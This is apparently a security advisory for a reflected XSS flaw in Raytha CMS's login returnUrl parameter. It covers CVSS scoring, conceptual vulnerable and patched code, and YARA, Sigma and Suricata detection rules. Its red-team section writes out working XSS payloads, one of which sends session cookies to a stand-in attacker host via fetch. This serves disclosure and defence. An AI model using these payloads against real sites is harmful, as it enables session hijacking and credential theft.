CVE-2025-69245

Executive Summary

CVE-2025-69245 is a reflected Cross-Site Scripting (XSS) vulnerability in Raytha CMS, affecting versions prior to 1.4.6. The flaw exists in the logon functionality, where the returnUrl parameter is not properly sanitized. An attacker can craft a malicious URL that, when opened by an authenticated victim, results in arbitrary JavaScript execution in the victim’s browser. This can lead to session hijacking, credential theft, or further compromise of the CMS instance. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly known with a patch available in version 1.4.6.

Supply Chain & Package Security

Raytha CMS is a .NET-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's authentication flow. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the malicious link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant in a CMS context (e.g., session hijacking, defacement).

Deep Dive & Mechanics

The vulnerability resides in the logon endpoint of Raytha CMS. When a user is redirected to the login page (e.g., after accessing a protected resource), the returnUrl parameter is used to redirect the user back after successful authentication. This parameter is reflected in the page without proper encoding or validation.

An attacker can craft a URL like:

https://target-raytha-cms.com/login?returnUrl=javascript:alert(document.cookie)

or

https://target-raytha-cms.com/login?returnUrl="><script>alert(1)</script>

When an authenticated victim clicks this link, the malicious JavaScript executes in the context of the Raytha CMS domain. This can be used to steal session cookies, perform actions on behalf of the victim, or deface the site.

The root cause is insufficient output encoding of the returnUrl parameter in the login view. The fix in version 1.4.6 likely involves proper URL validation and encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - C# Razor View):

@{
    var returnUrl = Context.Request.Query["returnUrl"];
}
<form action="/login" method="post">
    <input type="hidden" name="returnUrl" value="@returnUrl" />
    ...
</form>

Patched Code (Conceptual):

@{
    var returnUrl = Context.Request.Query["returnUrl"];
    // Validate that returnUrl is a relative URL or a safe absolute URL
    if (!Uri.IsWellFormedUriString(returnUrl, UriKind.RelativeOrAbsolute) || 
        returnUrl.StartsWith("javascript:") || 
        returnUrl.StartsWith("data:"))
    {
        returnUrl = "/";
    }
}
<form action="/login" method="post">
    <input type="hidden" name="returnUrl" value="@Html.Encode(returnUrl)" />
    ...
</form>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Raytha CMS instance (version < 1.4.6)
• A victim user who is authenticated (or will authenticate after clicking the link)
• A web server to capture exfiltrated data (optional)

Exploit Steps:

1. Craft a malicious URL:

   https://target-raytha-cms.com/login?returnUrl=javascript:fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)
   

2. Send the URL to the victim via email, social engineering, or other means.
3. When the victim clicks the link and is authenticated (or logs in), the JavaScript executes.
4. The victim's session cookie is sent to the attacker's server.

Alternative Payload (using an event handler):

https://target-raytha-cms.com/login?returnUrl="><img src=x onerror=alert(1)>

Blue Team

Detection:

• Monitor web server logs for unusual returnUrl parameters containing javascript:, <script>, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block requests with suspicious returnUrl values.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search for log entries where returnUrl contains javascript:, data:, or HTML tags.
• Look for multiple requests from the same IP to the login page with varying returnUrl values.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /login with returnUrl containing javascript:, <script>, onerror=, or similar XSS patterns.
  • Outbound connections from the CMS server to unknown IPs (potential data exfiltration).

• File IOCs:

  • Modified login view files (e.g., Login.cshtml) if the attacker has write access.

• Log IOCs:

  • Web server logs showing returnUrl with encoded or malicious characters.

Detection Engineering

YARA Rule

rule CVE_2025_69245_Raytha_XSS {
    meta:
        description = "Detects reflected XSS attempts against Raytha CMS returnUrl parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69245"
    strings:
        $xss1 = "returnUrl=javascript:" ascii wide nocase
        $xss2 = "returnUrl=<script" ascii wide nocase
        $xss3 = "returnUrl=\" on" ascii wide nocase
        $xss4 = "returnUrl=" ascii wide nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS in Raytha CMS returnUrl Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious returnUrl parameter targeting Raytha CMS login
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69245
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'returnUrl='
        cs-uri-query|contains|any:
            - 'javascript:'
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of returnUrl with safe values (e.g., relative paths)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-69245 Raytha CMS Reflected XSS Attempt"; flow:to_server,established; content:"returnUrl="; http_uri; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2025-69245;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Raytha CMS to version 1.4.6 or later. This is the only complete fix.
2. If upgrade is not possible, apply a virtual patch using a WAF to block malicious returnUrl values.
3. Review and restrict access to the login page if possible.

Long-term Measures:

• Implement input validation and output encoding for all user-controlled parameters.
• Use Content Security Policy (CSP) headers to reduce the impact of XSS.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other CMS components.

Workaround (if patching is delayed):

• Modify the login view to validate returnUrl against a whitelist of allowed URLs (e.g., only relative paths starting with /).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert